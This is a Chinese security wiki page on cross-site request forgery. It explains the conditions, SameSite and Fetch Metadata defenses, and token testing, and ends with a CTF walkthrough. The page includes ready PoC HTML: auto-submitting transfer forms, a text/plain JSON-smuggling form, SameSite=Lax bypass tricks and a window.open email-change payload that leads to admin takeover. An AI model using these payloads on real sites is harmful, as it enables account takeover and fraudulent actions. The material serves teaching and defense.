| title | CSRF 跨站请求伪造 | ||||
|---|---|---|---|---|---|
| aliases |
|
||||
| category | exp | ||||
| status | current | ||||
| updated | 2026-07 |
CSRF(Cross-site Request Forgery,跨站请求伪造)是攻击者诱导受害者浏览器在已登录状态下,向目标站点发送“用户本人并未主动发起”的请求。
浏览器会自动携带和目标站点相关的认证信息,例如 Cookie、部分浏览器凭据、已建立的会话状态。
如果服务端只校验“请求是否带着有效登录态”,而不校验“请求是否确实由本站页面发起”,就可能出现 CSRF。
Origin:协议 + 主机 + 端口Site:更偏向同站概念,通常围绕可注册域名判断
这点很关键,因为:
- 两个请求可能不同源,但仍然同站
SameSite防护看的是站点关系,不是同源关系- 同站子域一旦存在 XSS、接管或弱点,可能反过来影响主站的 CSRF 边界
这意味着老式“跨站自动提交 POST 表单”在现代浏览器中不一定还能稳定成功。
但这不代表 CSRF 已经消失,下面这些情况仍然常见:
- 业务主动把认证 Cookie 设成
SameSite=None; Secure - 同站子域之间可发起 same-site 请求
- 敏感操作错误地保留为 GET
- 老旧浏览器、嵌入式环境或兼容性场景
- OAuth、SSO、跨站嵌入能力引入了新的请求链
- XSS 利用的是用户对站点的信任
- CSRF 利用的是站点对用户浏览器的信任
XSS 一旦成立,往往还能反过来窃取 CSRF Token 或直接调用站内接口,因此很多场景里 XSS 的优先级高于单纯的 CSRF。
CSRF 通常需要满足以下条件:
- 受害者已经登录目标站点
- 浏览器会自动附带有效认证信息
- 目标操作仅依赖 Cookie 或会话状态鉴权
- 攻击者可以构造一个受害者浏览器能发起的请求
- 服务端没有额外校验请求来源或一次性凭证
- 修改个人资料、绑定邮箱、修改手机号
- 修改密码、重置二次验证、添加信任设备
- 发帖、发消息、点赞、关注、加好友
- 转账、下单、收货地址修改
- 管理后台中的新增管理员、授权、导入导出、Webhook 配置
如果敏感操作被设计成 GET,利用门槛最低:
<img src="https://target.com/user/delete?id=1">或:
<a href="https://target.com/profile/update?role=admin">click</a><form action="https://target.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>
document.forms[0].submit();
</script>很多站点以为“只允许 POST + JSON 就安全”,但如果接口也接受表单、文本、宽松解析或参数覆盖,就仍可能被构造。
完整可用的 PoC:
<form action="https://target/api" method="POST" enctype="text/plain">
<input name='{"a":"1","b":"' value='c"}'>
</form>
<script>document.forms[0].submit();</script>为什么必须用 text/plain:
浏览器原生表单只支持三种 enctype:
application/x-www-form-urlencoded(默认)multipart/form-datatext/plain
跨站 fetch 想发 Content-Type: application/json 属于非简单请求,会先触发 CORS 预检(OPTIONS),攻击者页面过不了预检,请求根本发不出去。因此跨站能构造的表单 Content-Type 只有上述三种,只能赌服务端解析宽松。
text/plain 的拼接原理:
以 text/plain 提交时,请求体格式为 name=value(每字段一行)。上面 PoC 发出的实际 body:
{"a":"1","b":"=c"}
拆解:
- name =
{"a":"1","b":" - 分隔符 =
= - value =
c"}
拼起来正好是一段合法 JSON,= 被"藏"进了 JSON 的值里。若服务端直接 json_decode(file_get_contents('php://input'))、或框架对 Content-Type 宽松解析,就会当成正常 JSON 处理。
利用条件:
- 服务端不严格校验
Content-Type必须为application/json - 接口仅依赖 Cookie 鉴权
- 需要调整
=落点时,移动 name/value 里的引号即可。例如 name={"a":"1","b":"c","d":"、value=e"},body 变成{"a":"1","b":"c","d":"=e"}
防御侧: 服务端必须严格校验 Content-Type,并要求自定义头或 CSRF Token。任何一种宽松解析,都会让"JSON 接口天然防 CSRF"的假设失效。
有些业务不是“冒充受害者执行操作”,而是“把受害者悄悄登录进攻击者控制的账号”,从而影响后续操作和数据流向。
很多接口表面上是 fetch + JSON,但是否真抗 CSRF,要看服务端是否满足以下条件:
- 只接受非简单请求
- 必须带自定义头
- 不接受
application/x-www-form-urlencoded、multipart/form-data、text/plain - 不存在参数污染、方法切换、宽松解析
如果后端既支持 JSON,又兼容表单或文本请求,就仍然可能被降级利用。
浏览器跨站构造请求时,简单请求更容易直接发起。
对防守方来说,要求接口必须满足以下一项,会明显提高攻击成本:
- 需要自定义头
- 需要
application/json - 触发 CORS 预检,并由服务端严格限制允许源
但要注意:
- CORS 是“读响应控制”,不是专门的 CSRF 防御
- 如果接口本身接受简单请求内容类型,攻击者仍可能构造可用请求
- 一旦允许跨域且允许带凭据,问题可能从“能发请求”升级成“还能读响应”
以下机制会显著提高攻击难度:
- 请求必须带不可预测的 CSRF Token
- Token 绑定用户会话且一次一用
- 服务端严格校验
Origin/Referer - Cookie 使用
SameSite,浏览器不再在跨站请求中自动附带 - 敏感操作要求再次输入密码、短信验证码、二次确认
防御的本质:要求请求同时携带“攻击者无法伪造或获取的额外凭证”。
最常见、也最有效的方案。
关键要求:
- Token 不可预测
- 与用户会话绑定
- 最好与操作场景绑定
- 不要只校验“字段存在”
- 不要多个用户共享同一个 Token
通过浏览器机制限制跨站请求自动带 Cookie。
常见选项:
SameSite=StrictSameSite=LaxSameSite=None; Secure
这是一层很重要的浏览器侧防线,但不应替代 Token 校验。
补充理解:
Strict最严格,但对从外部链接进入站点的体验影响最大Lax适合作为默认防线,但对顶层导航类 GET 仍需小心None适合确有跨站需求的场景,但必须配合Secure
适合作为辅助校验。
优点:
- 实现相对简单
- 对部分无 Token 场景有补充价值
缺点:
- 某些环境下请求头可能缺失
- 不适合作为唯一防线
思路是:服务端在 Cookie 中放一个值,前端再把同样的值放到请求参数或自定义头中,服务端比对二者是否一致。
适用点:
- 前后端分离场景
- 与 Token 机制组合使用
浏览器跨站表单无法随意添加自定义头,因此接口要求:
X-CSRF-TokenX-Requested-With- 其他受控头字段
也能提高攻击门槛,但仍建议与 Token 联合使用。
现代浏览器会自动带上一组 Sec-Fetch-* 请求头,服务端可以据此识别请求上下文。
其中最常用的是:
Sec-Fetch-Site: same-originSec-Fetch-Site: same-siteSec-Fetch-Site: cross-siteSec-Fetch-Site: none
实战意义:
- 对 Cookie 鉴权接口,服务端可优先拦截明显的
cross-site状态变更请求 - 适合做现代浏览器环境下的“第一层筛选”
- 仍需为旧浏览器准备 Token 或
Origin/Referer兜底策略
Sec-Fetch-Site 取值与判定基准:
| 取值 | 含义 | 状态变更请求是否放行 |
|---|---|---|
same-origin |
发起站点与目标同源(协议+域名+端口一致) | 放行 |
same-site |
同站不同源(兄弟子域) | 默认拦截,确有跨子域业务时再放行 |
cross-site |
跨站发起 | 一律拦截(CSRF 的典型特征) |
none |
用户直接发起(地址栏、书签) | 仅 Sec-Fetch-Mode: navigate 的 GET 导航放行 |
配套读取的头:
Sec-Fetch-Mode:navigate(顶层导航)/document(iframe 加载)/cors(fetch/XHR)Sec-Fetch-Dest:document/script/image/empty(XHR/fetch)Sec-Fetch-User:?1表示由用户手势触发(如地址栏回车)
服务端校验伪代码(Fetch Metadata 资源分离策略的简化实现):
def is_csrf_blocked(request):
# 只拦截"携带凭据的状态变更请求"
if request.method not in ("POST", "PUT", "DELETE", "PATCH"):
return False # 安全方法交给"禁止 GET 改状态"的业务规则
if not request.has_credentials:
return False # 未携带凭据,不属于 CSRF 范畴
site = request.headers.get("Sec-Fetch-Site")
mode = request.headers.get("Sec-Fetch-Mode")
# 头缺失:旧浏览器不支持 Fetch Metadata,交给 Token / Origin 校验兜底
if site is None:
return False
# 同源:放行
if site == "same-origin":
return False
# 用户从地址栏/书签直接导航:放行
if site == "none" and mode == "navigate":
return False
# 其余:same-site / cross-site 的状态变更请求,一律拦截
return True落地要点:
- 该策略只是"第一层筛选",必须与 Token、
Origin校验共存,为不发送Sec-Fetch-*的旧浏览器兜底 - 静态资源类 GET(
Sec-Fetch-Dest: image/script/style)通常放行,否则会误伤正常加载 - 建议在网关 / 框架中间件层统一实现,不要散落在各接口里
例如:
- 重新输入密码
- 短信验证码
- TOTP 校验
- 确认弹窗 + 服务端状态校验
常见问题包括:
- 删除 Token 也能通过
- Token 只校验长度或格式
- Token 在不同用户之间可以共用
- Token 不绑定会话
- Token 长期不变且可预测
- 只校验 Cookie 中的 Token,不校验请求参数中的 Token
排查点:
- 删除令牌:删除参数或 Cookie 中的 Token,观察是否仍能通过
- 令牌共享:创建两个账户,互换 Token 看是否可复用
- 篡改令牌值:看服务端是否仅做弱校验
- 解码令牌:判断是否只是简单编码,如 Base64、MD5 包裹
- 修改请求方法:把
POST改成GET看服务端是否同样接受
虽然 CSRF 的经典前提是“攻击者无法直接读取响应”,但 Token 依然可能通过以下方式泄露:
- XSS
- 开放重定向
- Web 缓存欺骗
- 日志泄露
- Referer 外带
- Clickjacking 配合交互
典型错误:
- 只做“包含目标域名”的字符串判断
- 只判断前缀,不做完整主机名校验
- 正则写得过于宽松
例如:
http://baidu.com.reabout.comhttp://attack.com?http://baidu.com
严格来说 CORS 不是 CSRF 防御机制,但如果:
- 允许任意源跨域
- 允许携带凭据
- 响应里暴露敏感数据
那么问题会升级为“攻击者不仅能发请求,还能读响应”。
常见误区:
- 以为开了
SameSite=Lax就完全没有 CSRF - 把“同源”误当成“同站”
- 忽略同父域下的兄弟子域风险
需要重点记住的限制:
Lax对顶层导航 GET 仍然可能放行SameSite主要是防跨站,不防同站子域打同站主域- 子域接管、同站 XSS、同站开放重定向都可能削弱它的效果
前提回顾:Lax 下浏览器只允许"顶层导航 + 安全方法(GET/HEAD)"携带 Cookie,其余一律不带(iframe 内表单 POST、fetch/XHR POST、子资源加载)。
Chrome 80 起 Cookie 默认 SameSite=Lax,但为兼容支付等流程留了宽限:Cookie 刚设置不足 2 分钟时,跨站顶层 POST 也会携带(Lax-allowing-unsafe)。
利用思路:
- 先诱导受害者访问目标站任意页面,触发服务端重新下发会话 Cookie(把"Cookie 年龄"刷新到 2 分钟以内)
- 立即诱导其打开攻击页,跨站顶层 POST 表单马上提交
现状:后续 Chrome 版本已大幅收紧该窗口(Chrome 80-86 稳定存在,之后缩短并逐步移除),属于历史版本与老环境的实用知识点。
浏览器对单域 Cookie 有数量与大小上限(单条约 4KB、每域数百条,因浏览器而异)。思路:
- 通过目标的同站子域(任何能写 Cookie 的端点)塞满大量超大 Cookie,把认证 Cookie"挤"出 Cookie 罐
- 诱导站点重建会话,若重建时
Set-Cookie忘了带SameSite,认证 Cookie 退化为无 SameSite 状态 - 此时跨站 POST 表单重新可携带
该手法依赖目标站的会话重建逻辑,属于"条件苛刻但真实存在"的绕过路径。
Lax 下:
- iframe 中加载攻击页再提交 POST 表单:Cookie 不带(非顶层导航)
fetch/XMLHttpRequest跨站 POST:Cookie 不带
因此只剩"顶层导航 + GET"一条路。若服务端方法可切换(POST 改 GET 也接受),用顶层导航发起:
<script>
// window.open 产生顶层导航,GET 请求在 Lax 下会自动携带 Cookie
window.open('https://target.com/api/profile/email?email=attacker@evil.com');
</script><a href>、location.href、<meta http-equiv="refresh"> 等同样能产生顶层 GET 导航。
若接口严格只收 POST:转向手法一、手法二,或找同站子域(手法四)。
SameSite 判断的是"站点(site)"不是"源(origin)"。攻击者若能控制目标的兄弟子域(子域 XSS、子域接管、可自定义内容的子域服务),从那里发起的请求属于 same-site,Lax 与 Strict 都拦不住。这是当前实战中最常见的 Lax 绕过面。
一旦敏感操作被设计成 GET,请求可被非常低成本地嵌入:
imgscriptiframelink
有些系统表面上“带了 Token”,但前端脚本会从 URL、location.hash、postMessage 或可控配置中读取请求目标、请求方法、参数,再自动携带当前用户凭据发请求。
这类问题本质上是“前端被攻击者驱动去发站内合法请求”,也值得单独排查。
重点观察:
- 前端是否把用户可控输入直接拼进 API 路径
- 是否根据 URL 参数动态决定请求方法和参数
- 是否存在能驱动站内请求的前端路由或通用请求器
关注:
- 个人信息修改
- 账户安全设置
- 金融与支付
- 后台权限与配置变更
如果无 Token、无来源校验、无二次确认,优先级通常较高。
重点关注:
- 是否使用
SameSite - 是否校验
Sec-Fetch-Site - 是否必须自定义头
- 是否限制请求类型
自动提交表单、页面加载即触发的请求,危害通常更高。
重点排查:
- 兄弟子域是否可控或可接管
- 是否存在同站 XSS
- OAuth / SSO / 跳转链是否会刷新 Cookie
- 是否存在前端路由或脚本 gadget 可发起二次请求
某 CTF 站点:普通用户可注册登录,管理员账号 admin 登录后可见 flag。攻击者持有一个普通账号,目标是被"借用"管理员身份完成接管。
登录后在"个人设置"页抓包,发现修改邮箱接口:
POST /api/profile/email HTTP/1.1
Host: target.ctf.com
Cookie: session=xxxxx
Content-Type: application/json
{"email":"user1@example.com"}排查确认:
- 请求中没有 CSRF Token
- 删除
Referer/Origin头重放仍返回 200 → 服务端不校验来源 - 无自定义头要求,接口只认 Cookie
- 认证 Cookie 为
SameSite=Lax
结论:满足 CSRF 成立条件,唯一障碍是 SameSite=Lax。
在自己控制的页面构造经典 PoC:
<form action="https://target.ctf.com/api/profile/email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit();</script>通过题目提供的"举报/反馈给管理员"入口提交该页面链接(admin bot 会访问)触发后,接口返回 401——跨站 POST 的 Cookie 被 Lax 拦下。
把请求方法改成 GET 测试:
GET /api/profile/email?email=attacker@evil.com HTTP/1.1
Cookie: session=xxxxx返回 200 且邮箱成功修改——服务端只认参数不看方法,可 GET 化。
<!-- victim-poc.html:受害者访问本页即触发 -->
<script>
// window.open 是顶层导航,GET 请求在 SameSite=Lax 下自动携带 Cookie
window.open('https://target.ctf.com/api/profile/email?email=attacker@evil.com');
</script>- 通过举报入口把 PoC 页面链接提交给 admin bot
- 管理员访问 PoC → 其绑定邮箱被改为
attacker@evil.com - 在登录页走"忘记密码",重置链接发到攻击者邮箱 → 重置
admin密码 → 登录拿到 flag
若存在改密接口 POST /api/profile/password(只需 new_password,不校验旧密码)且方法同样可切换:
<script>
window.open('https://target.ctf.com/api/profile/password?new_password=P@ssw0rd!');
</script>管理员触发后直接改密登录,无需邮箱链路。
- 排查顺序固定:有无 Token → 有无 Origin/Referer 校验 → Cookie 的 SameSite → 方法能否切换
SameSite=Lax不是终点:POST 被拦时优先测"GET 化 + 顶层导航(window.open / a 标签)"- 接管链路优先选"改邮箱 → 忘记密码"或"直接改密",两者都只依赖 Cookie 鉴权
- 若目标严格 POST-only + 严格 Lax,转向同站子域、Lax+POST 宽限窗口、Cookie 崩溃法
- 敏感操作必须使用 CSRF Token
- Token 必须绑定会话,且不可预测
- 优先使用框架自带的 CSRF 机制,避免自写半成品逻辑
- 优先校验
Origin,缺失时再谨慎校验Referer - 对现代浏览器增加
Fetch Metadata校验 - 认证 Cookie 配置
SameSite - 仅在确有跨站需求时使用
SameSite=None; Secure - 敏感动作避免使用 GET
- 避免同站弱子域影响主站认证边界
- 高风险操作增加二次确认
- 不要让前端缓存、日志、跳转把 Token 带出去
- 前端安全系列(二):如何防止 CSRF 攻击?
- 跨站请求伪造(CSRF)挖掘技巧及实战案例全汇总
- OWASP Cross-Site Request Forgery Prevention Cheat Sheet
- MDN Cross-site request forgery (CSRF)
- MDN Set-Cookie / SameSite
- PortSwigger Web Security Academy - CSRF
- PortSwigger - Bypassing SameSite cookie restrictions
- Google Chrome - SameSite cookies explained
- web.dev - Prevent unnecessary network requests with Fetch Metadata